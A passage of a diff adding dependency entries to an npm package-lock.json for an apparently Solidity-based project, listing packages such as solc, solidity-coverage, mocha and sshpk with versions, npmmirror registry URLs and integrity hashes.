"sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "slash": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "peer": true + }, + "slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "peer": true, + "requires": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "peer": true + } + } + }, + "solc": { + "version": "0.7.3", + "resolved": "https://registry.npmmirror.com/solc/-/solc-0.7.3.tgz", + "integrity": "sha512-GAsWNAjGzIDg7VxzP6mPjdurby3IkGCjQcM8GFYZT6RyaoUZKmMU6Y7YwG+tFGhv7dwZ8rmR4iwFDrrD99JwqA==", + "dev": true, + "requires": { + "command-exists": "^1.2.8", + "commander": "3.0.2", + "follow-redirects": "^1.12.1", + "fs-extra": "^0.30.0", + "js-sha3": "0.8.0", + "memorystream": "^0.3.1", + "require-from-string": "^2.0.0", + "semver": "^5.5.0", + "tmp": "0.0.33" + }, + "dependencies": { + "fs-extra": { + "version": "0.30.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-0.30.0.tgz", + "integrity": "sha512-UvSPKyhMn6LEd/WpUaV9C9t3zATuqoqfWc3QdPhPLb58prN9tqYPlPWi8Krxi44loBoUzlobqZ3+8tGpxxSzwA==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "jsonfile": "^2.1.0", + "klaw": "^1.0.0", + "path-is-absolute": "^1.0.0", + "rimraf": "^2.2.8" + } + }, + "jsonfile": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-2.4.0.tgz", + "integrity": "sha512-PKllAqbgLgxHaj8TElYymKCAgrASebJrWpTnEkOaTowt23VKXXN0sUeriJ+eh7y6ufb/CC5ap11pz71/cM0hUw==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + } + } + }, + "solidity-coverage": { + "version": "0.8.2", + "resolved": "https://registry.npmmirror.com/solidity-coverage/-/solidity-coverage-0.8.2.tgz", + "integrity": "sha512-cv2bWb7lOXPE9/SSleDO6czkFiMHgP4NXPj+iW9W7iEKLBk7Cj0AGBiNmGX3V1totl9wjPrT0gHmABZKZt65rQ==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abi": "^5.0.9", + "@solidity-parser/parser": "^0.14.1", + "chalk": "^2.4.2", + "death": "^1.1.0", + "detect-port": "^1.3.0", + "difflib": "^0.2.4", + "fs-extra": "^8.1.0", + "ghost-testrpc": "^0.0.2", + "global-modules": "^2.0.0", + "globby": "^10.0.1", + "jsonschema": "^1.2.4", + "lodash": "^4.17.15", + "mocha": "7.1.2", + "node-emoji": "^1.10.0", + "pify": "^4.0.1", + "recursive-readdir": "^2.2.2", + "sc-istanbul": "^0.4.5", + "semver": "^7.3.4", + "shelljs": "^0.8.3", + "web3-utils": "^1.3.6" + }, + "dependencies": { + "ansi-colors": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-3.2.3.tgz", + "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", + "dev": true, + "peer": true + }, + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "peer": true + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "peer": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "peer": true + }, + "chokidar": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.3.0.tgz", + "integrity": "sha512-dGmKLDdT3Gdl7fBUe8XK+gAtGmzy5Fn0XkkWQuYxGIgWVPPse2CxFA5mtrlD0TOHaHjEUqkWNyP1XdHoJES/4A==", + "dev": true, + "peer": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.1.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.2.0" + } + }, + "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "peer": true, + "requires": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "dev": true, + "peer": true, + "requires": { + "ms": "^2.1.1" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "dev": true, + "peer": true + }, + "diff": { + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true, + "peer": true + }, + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true, + "peer": true + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "peer": true + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "peer": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "flat": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/flat/-/flat-4.1.1.tgz", + "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", + "dev": true, + "peer": true, + "requires": { + "is-buffer": "~2.0.3" + } + }, + "fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "peer": true, + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + } + }, + "fsevents": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.1.3.tgz", + "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", + "dev": true, + "optional": true, + "peer": true + }, + "glob": { + "version": "7.1.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "dev": true, + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true + }, + "js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "peer": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "peer": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "log-symbols": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-3.0.0.tgz", + "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "dev": true, + "peer": true, + "requires": { + "chalk": "^2.4.2" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "peer": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, + "peer": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "mocha": { + "version": "7.1.2", + "resolved": "https://registry.npmmirror.com/mocha/-/mocha-7.1.2.tgz", + "integrity": "sha512-o96kdRKMKI3E8U0bjnfqW4QMk12MwZ4mhdBTf+B5a1q9+aq2HRnj+3ZdJu0B/ZhJeK78MgYuv6L8d/rA5AeBJA==", + "dev": true, + "peer": true, + "requires": { + "ansi-colors": "3.2.3", + "browser-stdout": "1.3.1", + "chokidar": "3.3.0", + "debug": "3.2.6", + "diff": "3.5.0", + "escape-string-regexp": "1.0.5", + "find-up": "3.0.0", + "glob": "7.1.3", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "3.13.1", + "log-symbols": "3.0.0", + "minimatch": "3.0.4", + "mkdirp": "0.5.5", + "ms": "2.1.1", + "node-environment-flags": "1.0.6", + "object.assign": "4.1.0", + "strip-json-comments": "2.0.1", + "supports-color": "6.0.0", + "which": "1.3.1", + "wide-align": "1.1.3", + "yargs": "13.3.2", + "yargs-parser": "13.1.2", + "yargs-unparser": "1.6.0" + } + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true, + "peer": true + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "peer": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "peer": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "peer": true + }, + "readdirp": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.2.0.tgz", + "integrity": "sha512-crk4Qu3pmXwgxdSgGhgA/eXiJAPQiX4GMOZZMXnqKxHX7TaoL+3gQVo/WeuAiogr07DpnfjIMpXXa+PAIvwPGQ==", + "dev": true, + "peer": true, + "requires": { + "picomatch": "^2.0.4" + } + }, + "semver": { + "version": "7.3.7", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "dev": true, + "peer": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "peer": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "peer": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "peer": true + }, + "supports-color": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-6.0.0.tgz", + "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", + "dev": true, + "peer": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "peer": true, + "requires": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + } + }, + "y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true, + "peer": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, + "peer": true + }, + "yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "peer": true, + "requires": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "peer": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "yargs-unparser": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/yargs-unparser/-/yargs-unparser-1.6.0.tgz", + "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", + "dev": true, + "peer": true, + "requires": { + "flat": "^4.1.0", + "lodash": "^4.17.15", + "yargs": "^13.3.0" + } + } + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmmirror.com/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true, + "peer": true + }, + "sshpk": { + "version": "1.17.0", + "resolved": "https://registry.npmmirror.com/sshpk/-/sshpk-1.17.0.tgz", + "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==", + "dev": true, + "peer": true, + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "dependencies": { + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==", + "dev": true, + "peer": true + } + } + }, + "stacktrace-parser": { + "version": "0.1.10", + "resolved": "https://registry.npmmirror.com/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz", + "integrity": "sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg==", + "dev": true, + "requires": { + "type-fest": "^0.7.1" + }, + "dependencies": { + "type-fest": { + "version": "0.7.1", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.7.1.tgz", + "integrity": "sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg==", + "dev": true + } + } + }, + "statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "dev": true + }, + "stealthy-require": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/stealthy-require/-/stealthy-require-1.1.1.tgz", + "integrity": "sha512-ZnWpYnYugiOVEY5GkcuJK1io5V8QmNYChG62gSit9pQVGErXtrKuPC55ITaVSukmMta5qpMU7vqLt2Lnni4f/g==", + "dev": true, + "peer": true + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "string-format": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/string-format/-/string-format-2.0.0.tgz", + "integrity": "sha512-bbEs3scLeYNXLecRRuk6uJxdXUSj6le/8rNPHChIJTn2V79aXVTR1EH2OH5zLKKoz0V02fOUKZZcw01pLUShZA==", + "dev": true, + "peer": true + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz", + "integrity": "sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.19.5" + } + }, + "string.prototype.trimstart": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz", + "integrity": "sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.19.5" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "strip-hex-prefix": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/strip-hex-prefix/-/strip-hex-prefix-1.0.0.tgz", + "integrity": "sha512-q8d4ue7JGEiVcypji1bALTos+0pWtyGlivAWyPuTkHzuTCJqrK9sWxYQZUq6Nq3cuyv3bm734IhHvHtGGURU6A==", + "dev": true, + "requires": { + "is-hex-prefixed": "1.0.0" + } + }, + "strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "sync-request": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/sync-request/-/sync-request-6.1.0.tgz", + "integrity": "sha512-8fjNkrNlNCrVc/av+Jn+xxqfCjYaBoHqCsDz6mt030UMxJGr+GSfCV1dQt2gRtlL63+VPidwDVLr7V2OcTSdRw==", + "dev": true, + "peer": true, + "requires": { + "http-response-object": "^3.0.1", + "sync-rpc": "^1.2.1", + "then-request": "^6.0.0" + } + }, + "sync-rpc": { + "version": "1.3.6", + "resolved": "https://registry.npmmirror.com/sync-rpc/-/sync-rpc-1.3.6.tgz", + "integrity": 